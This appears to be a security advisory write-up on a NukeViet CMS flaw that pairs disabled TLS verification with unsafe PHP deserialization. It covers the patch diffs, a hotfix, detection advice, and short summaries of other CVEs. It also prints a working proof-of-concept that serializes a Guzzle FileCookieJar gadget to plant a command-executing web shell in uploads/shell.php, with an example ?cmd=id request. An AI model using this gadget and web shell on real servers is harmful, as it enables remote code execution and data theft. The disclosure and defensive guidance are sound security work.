Nov 30, 2026·10 min read·5 visits
NukeViet CMS prior to 4.6.00 disables TLS certificate verification on outbound API requests and passes the response body directly to PHP's unserialize() without restricting object instantiation. An attacker positioned on the network path can spoof responses from the extension store API and execute arbitrary PHP code on the server via a Guzzle FileCookieJar POP gadget chain when an administrator accesses the extension store.
CVE-2026-61832 is a compound vulnerability in NukeViet CMS versions prior to 4.6.00 resulting from disabled TLS certificate validation (CWE-295) in internal HTTP clients and unrestricted PHP deserialization (CWE-502) in administrative extension store handlers. An adversary-in-the-middle (AiTM) attacker can intercept outbound HTTPS connections to the NukeViet extension store API and inject a crafted serialized PHP object. When an administrator interacts with the extension store, the application deserializes the response, triggering an in-tree Property-Oriented Programming (POP) gadget chain in Guzzle to achieve arbitrary file write and remote code execution.
NukeViet CMS includes an administrative extension store module (admin/extensions/) that allows privileged administrators (GODADMIN) to browse, install, and update plugins and themes. To retrieve catalog metadata and package information, the CMS sends outbound HTTPS POST requests to the official NukeViet store endpoint (NUKEVIET_STORE_APIURL, resolving to https://api.nukeviet.vn). These outbound requests are handled by NukeViet's internal HTTP wrapper classes located in vendor/vinades/nukeviet/Http/Http.php and vendor/vinades/nukeviet/Api/DoApi.php, as well as URL verification utilities in includes/functions.php.
In all NukeViet 4.x releases prior to version 4.6.00, the HTTP client wrapper explicitly sets the default sslverify configuration option to false. This configuration disables CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST during cURL and stream context initialization. Consequently, the CMS does not verify the authenticity of the TLS certificate chain or hostname presented by the remote endpoint during the TLS handshake (CWE-295: Improper Certificate Validation).
Concurrently, the extension store controllers and version-checking functions expect the store API to return data serialized in PHP's native serialization format. Upon receiving the HTTP response body, the scripts pass the raw payload directly into PHP's unserialize() function without specifying the allowed_classes restriction (CWE-502: Deserialization of Untrusted Data). Because TLS validation is disabled, any attacker capable of intercepting or redirecting outbound network traffic from the NukeViet server can forge the HTTPS response and supply an arbitrary serialized PHP object.
When the forged response is processed, PHP instantiates the attacker-specified classes and invokes their lifecycle magic methods (__wakeup() and __destruct()). By leveraging classes present in NukeViet's bundled Composer dependencies—specifically GuzzleHttp\Cookie\FileCookieJar—an attacker can write an arbitrary PHP file to the web root and achieve unauthenticated remote code execution under the privileges of the web server process.
The root cause of CVE-2026-61832 is the combination of broken transport-layer authentication and unsafe data deserialization across trust boundaries. In vendor/vinades/nukeviet/Http/Http.php, the request() method initializes an array of default connection parameters. Although the configuration specifies a path to a local CA certificate bundle (includes/certificates/ca-bundle.crt), it disables verification by setting 'sslverify' => false. The same anti-pattern occurs in vendor/vinades/nukeviet/Api/DoApi.php within the execute() method and in includes/functions.php within nv_check_url(), where curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false) is hardcoded.
Because transport security is neutralized, the data returned by $NV_Http->post(NUKEVIET_STORE_APIURL, $args) must be treated as untrusted network input. However, five separate controllers in admin/extensions/ (main.php, detail.php, install.php, update.php, and login.php) pass $array['body'] directly to unserialize(). While main.php and login.php pass the body through a helper function is_serialized_string() prior to deserialization, this check only verifies syntactic structure and does not restrict serialized object types (O:...).
Starting in PHP 7.0, unserialize() accepts a second $options parameter supporting ['allowed_classes' => false], which converts any serialized objects into harmless __PHP_Incomplete_Class instances and prevents magic method execution. Interestingly, the NukeViet developers were aware of this mitigation: in includes/core/admin_functions.php (nv_geVersion() and nv_getExtVersion()), the codebase previously included a conditional check (PHP_VERSION_ID >= 70000) ? @unserialize($array['body'], ['allowed_classes' => false]) : @unserialize($array['body']). However, this protection was omitted across all admin/extensions/ controllers.
To bridge object instantiation to code execution, an attacker utilizes an in-tree Property-Oriented Programming (POP) gadget chain provided by guzzlehttp/guzzle, which is bundled in vendor/guzzlehttp/guzzle. The class GuzzleHttp\Cookie\FileCookieJar persists cookies to disk when the object is destroyed at the end of the PHP request lifecycle. Its __destruct() method calls $this->save($this->filename), which serializes the internal $cookies array into a JSON string and writes it directly to $this->filename via file_put_contents(). Because PHP controls private properties during deserialization without invoking __construct(), the attacker fully controls both the destination file path and the serialized cookie contents.
An inspection of commit 099ec8cc4734ba8c1b871653ee454367a07446cc demonstrates how the vulnerability existed in the source tree and how the maintainers remediated both failure points. First, in vendor/vinades/nukeviet/Http/Http.php and vendor/vinades/nukeviet/Api/DoApi.php, the default TLS verification flags were inverted from false to true.
// File: vendor/vinades/nukeviet/Http/Http.php
private function request($url, $args)
{
$defaults = [
'method' => 'GET',
'timeout' => 5,
'redirection' => 5,
'httpversion' => '1.0',
'user-agent' => 'NukeViet CMS ' . $this->global_config['version'],
'blocking' => true,
'headers' => [],
'cookies' => [],
'body' => null,
'compress' => false,
'decompress' => true,
- 'sslverify' => false, // Vulnerable: allows self-signed or mismatched certificates
+ 'sslverify' => true, // Patched: enforces peer and hostname verification against CA bundle
'sslcertificates' => $this->root_dir . '/includes/certificates/ca-bundle.crt',
'stream' => false,
'filename' => null,
];Similarly, in includes/functions.php, the nv_check_url() function was updated to enable CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST, falling back to the bundled cacert.pem if curl.cainfo is not configured in php.ini:
// File: includes/functions.php
+ $cainfo = ini_get('curl.cainfo');
+ if (empty($cainfo)) {
+ $cainfo = NV_ROOTDIR . '/' . NV_CERTS_DIR . '/cacert.pem';
+ }
...
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
+ if (!empty($cainfo)) {
+ curl_setopt($curl, CURLOPT_CAINFO, $cainfo);
+ }To address the insecure deserialization flaw across the entire codebase, the patch introduces a global constant NV_UNSERIALIZE_SAFE in includes/constants.php set to ['allowed_classes' => false]. Every unserialize() call in the extension store controllers was updated to enforce this constant.
// File: includes/constants.php
+// Safe option for unserialize — only allow array/scalar, disallow objects
+define('NV_UNSERIALIZE_SAFE', ['allowed_classes' => false]);
// File: admin/extensions/detail.php
$array = $NV_Http->post(NUKEVIET_STORE_APIURL, $args);
-$array = (is_array($array) and !empty($array['body'])) ? @unserialize($array['body']) : [];
+$array = (is_array($array) and !empty($array['body'])) ? @unserialize($array['body'], NV_UNSERIALIZE_SAFE) : [];
// File: admin/extensions/main.php
if (is_array($array)) {
$cookies = $array['cookies'];
- $array = !empty($array['body']) ? (is_serialized_string($array['body']) ? unserialize($array['body']) : []) : [];
+ $array = !empty($array['body']) ? (is_serialized_string($array['body']) ? unserialize($array['body'], NV_UNSERIALIZE_SAFE) : []) : [];
}> [!NOTE]
> Fix Completeness Assessment: The patch in commit 099ec8cc4734ba8c1b871653ee454367a07446cc is comprehensive. Beyond fixing the five admin/extensions/ scripts and three HTTP client wrappers, the maintainers audited the broader repository and applied NV_UNSERIALIZE_SAFE to local cache and database deserialization calls in includes/core/cache_functions.php, admin/authors/edit.php, admin/themes/, and core modules (banners, comment, menu, users). Furthermore, NukeViet 4.6.00 raised the minimum PHP version requirement to PHP 7.4.0, ensuring that ['allowed_classes' => false] is universally supported by the runtime environment.
Exploiting CVE-2026-61832 requires two preconditions. First, the attacker must occupy an Adversary-in-the-Middle (AiTM) network position along the route between the target NukeViet server and api.nukeviet.vn, or be capable of manipulating the server's DNS resolution (e.g., via local ARP spoofing on a shared hosting VLAN, rogue gateway, DNS cache poisoning, or BGP hijacking). Second, an authenticated administrator with GODADMIN privileges must navigate to any extension store view in the NukeViet control panel (such as /admin/index.php?nv=extensions).
When the administrator loads the extension store page, admin/extensions/main.php dispatches an HTTPS POST request to https://api.nukeviet.vn. The attacker intercepts this request, completes the TLS handshake using any arbitrary or self-signed certificate (which NukeViet accepts due to sslverify => false), and returns an HTTP 200 OK response containing a serialized GuzzleHttp\Cookie\FileCookieJar object in the response body.
To ensure FileCookieJar::save() writes the payload to disk during __destruct(), the serialized object must satisfy the filtering logic in CookieJar::shouldPersist($cookie, $this->storeSessionCookies). Specifically, $this->storeSessionCookies must be set to true (or the cookie must have a future Expires timestamp and 'Discard' => false), and the internal $cookies array must contain a GuzzleHttp\Cookie\SetCookie instance whose $data array holds the PHP payload in one of its fields (such as 'Value').
<?php
namespace GuzzleHttp\Cookie {
class SetCookie {
private $data = [];
public function __construct($payload) {
$this->data = [
'Name' => 'exploit',
'Value' => $payload,
'Domain' => 'localhost',
'Path' => '/',
'Max-Age' => 86400,
'Expires' => time() + 86400,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];
}
}
class CookieJar {
private $cookies = [];
private $strictMode = false;
public function __construct($cookie) {
$this->cookies = [$cookie];
}
}
class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies;
public function __construct($filePath, $payload) {
parent::__construct(new SetCookie($payload));
$this->filename = $filePath;
$this->storeSessionCookies = true;
}
}
}
namespace {
$targetFilePath = 'uploads/shell.php';
$webShellPayload = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);exit;} ?>';
$gadget = new \GuzzleHttp\Cookie\FileCookieJar($targetFilePath, $webShellPayload);
echo serialize($gadget);
}When unserialize() processes the payload above and the script terminates, FileCookieJar::__destruct() writes the JSON-encoded cookie array to uploads/shell.php. Because GuzzleHttp\Utils::jsonEncode() does not escape < or > characters by default, the resulting file on disk contains raw PHP tags (<?php ... ?>) embedded inside a JSON string. The attacker can then send an unauthenticated HTTP request to http://target/uploads/shell.php?cmd=id to execute arbitrary operating system commands.
Successful exploitation of CVE-2026-61832 grants an unauthenticated network adversary remote code execution in the security context of the web server or PHP-FPM worker process. With code execution on the underlying host, the attacker can read config.php to extract database credentials and cryptographic salts, dump or modify the entire CMS database, read sensitive user records, and install persistent web shells or backdoors.
The vulnerability is rated 7.5 (High) under CVSS v3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H). The Attack Complexity is scored as High (AC:H) and User Interaction as Required (UI:R) because the attacker cannot trigger the outbound HTTP request directly from an unauthenticated external interface; the attacker must wait for an administrator to access the extension store or trigger an automated/manual version check while the AiTM condition is active.
In addition to manual visits to admin/extensions/, NukeViet includes version-checking functions (nv_geVersion() and nv_getExtVersion() in includes/core/admin_functions.php) that query NUKEVIET_STORE_APIURL. While those two specific functions included a PHP 7.0+ check for ['allowed_classes' => false] in later 4.5.x builds, any deployment running on legacy PHP 5.6 or invoking any of the five admin/extensions/ endpoints remains vulnerable to full system compromise.
As of current threat intelligence tracking, CVE-2026-61832 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and its EPSS score is 0.00596 (42.6th percentile). While active mass exploitation in the wild is constrained by the AiTM requirement, targets on shared hosting environments, cloud networks with untrusted local segments, or networks susceptible to DNS poisoning face significant risk.
Administrators running NukeViet CMS 4.x should upgrade to version 4.6.00 or later. Version 4.6.00 incorporates commit 099ec8cc4734ba8c1b871653ee454367a07446cc, which enables strict TLS certificate and hostname verification across all internal HTTP clients and enforces ['allowed_classes' => false] via NV_UNSERIALIZE_SAFE on all unserialize() calls.
For environments that cannot immediately upgrade to NukeViet 4.6.00, administrators can apply a manual hotfix directly to the affected files. First, edit vendor/vinades/nukeviet/Http/Http.php (line 116) and vendor/vinades/nukeviet/Api/DoApi.php (line 137) to set 'sslverify' => true, and verify that includes/certificates/ca-bundle.crt is present and readable. Second, update all unserialize($array['body']) calls inside admin/extensions/main.php, detail.php, install.php, login.php, and update.php to pass ['allowed_classes' => false] as the second argument.
In addition to code-level remediation, defenders should audit writable directories such as uploads/, assets/, and data/ for anomalous .php files. Because the GuzzleHttp\Cookie\FileCookieJar gadget writes a JSON array of cookie objects containing raw PHP tags, defenders can hunt for indicators of compromise using filesystem searches for files matching both JSON cookie attributes ("Name":, "Value":, "Discard":) and <?php tags.
Finally, web server configurations (Nginx or Apache HTTP Server) should be hardened to explicitly deny PHP script execution within static content and user-upload directories (uploads/, assets/, data/tmp/). Blocking script execution in writable directories prevents uploaded or gadget-generated .php files from being interpreted by PHP-FPM even if an arbitrary file-write primitive is triggered.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
NukeViet CMS VINADES (nukeviet) | < 4.6.00 | 4.6.00 |
| Attribute | Detail |
|---|---|
| CVE / GHSA ID | CVE-2026-61832 / GHSA-9xfw-vx6g-wpmm |
| CWE Classification | CWE-295 (Improper Certificate Validation) & CWE-502 (Deserialization of Untrusted Data) |
| CVSS v3.1 Score | 7.5 High (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| EPSS Score | 0.60% (42.60th Percentile) |
| Attack Vector | Network (Adversary-in-the-Middle intercepting outbound API traffic) |
| POP Gadget Chain | GuzzleHttp\Cookie\FileCookieJar::__destruct() -> arbitrary file write |
| Impact | Unauthenticated Remote Code Execution (RCE) |
| Patched Version | NukeViet CMS 4.6.00 |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing attackers to instantiate arbitrary objects and execute unauthorized code via magic methods.
Hugo versions 0.152.0 through 0.167.x contain a path traversal and sandbox bypass vulnerability in the module configuration loader. When a root project does not define module replacements, Hugo permits imported themes or modules to define their own module.replacements directives. Because replaced module imports are internally marked as project-replaced, they bypass theme directory path restrictions, allowing an untrusted theme to mount arbitrary host filesystem directories and expand the Node.js read sandbox.
CVE-2026-135388 (GHSA-7c2r-jhm9-43vf) is an improper verification of cryptographic signature vulnerability (CWE-347) in Pion DTLS, a pure Go implementation of Datagram Transport Layer Security (RFC 6347). The vulnerability stems from signature scheme confusion and missing cryptographic parameter binding in the handshake verification functions verifyKeySignature and verifyCertificateVerify. By presenting a genuine peer certificate paired with an incompatible or digest-less signature hash algorithm on the wire, an unauthenticated network adversary can bypass signature verification without possessing the peer's private key. This allows peer impersonation and full compromise of confidentiality and integrity in DTLS-protected channels, including WebRTC sessions utilizing SDP certificate fingerprint verification.
CVE-2026-134024 is a Server-Side Request Forgery (SSRF) vulnerability (CWE-918) in the TastyIgniter open-source restaurant management platform prior to version 4.4.4. The flaw resides in the Media::addFromUrl() helper method within the tastyigniter/core package, which initiates outbound HTTP GET requests to caller-supplied URLs and persists the response body without validating the URI scheme, target hostname, or resolved IP address. Although unreachable in a default unextended installation, the method functions as a latent SSRF gadget that exposes the host environment to internal network reconnaissance and cloud metadata extraction when invoked by third-party extensions or custom application code.
CVE-2026-69217 (also tracked as GHSA-p83c-4wj9-p6w9) is an HTTP request and response smuggling vulnerability in the ember-core module of the http4s Scala library. Prior to versions 0.23.35 and 1.0.0-M47, the HTTP/1.1 message parser failed to reject HTTP messages containing duplicate Content-Length header fields with conflicting values or sign-prefixed numeric values. Instead of returning a 400 Bad Request error as mandated by RFC 9112 Section 6.3, the parser accepted all occurrences sequentially and honored the final Content-Length value, while also permitting negative numbers via Scala's standard string-to-long conversion. When deployed behind a reverse proxy or intermediary that prioritizes the first Content-Length header or handles non-digit characters differently, unauthenticated remote attackers can desynchronize persistent HTTP/1.1 connections to perform web cache poisoning, bypass front-end security controls, and capture cross-user HTTP requests.
CVE-2026-65973 (GHSA-h746-qpxh-ph7g) is a local operating system command injection vulnerability (CWE-78) in the PeteBishwhip/laradocs package for Laravel. Versions from 0.4.0 to before 1.0.0 fail to sanitize or escape the configured Node.js binary path before passing it as part of a command string to PHP's proc_open() function during server-side KaTeX rendering. An attacker with the ability to modify local configuration files or environment variables can inject shell metacharacters to execute arbitrary OS commands under the privileges of the web server process.
A SQL injection vulnerability exists in power-components/livewire-powergrid versions 6.0.0 through 6.10.3. The public Livewire component property sortDirection is interpolated directly into raw SQL ORDER BY clauses during natural sorting operations without prior validation. By clearing the sortField property to bypass standard Laravel query builder protections, an attacker can inject arbitrary SQL expressions via POST requests to the /livewire/update endpoint.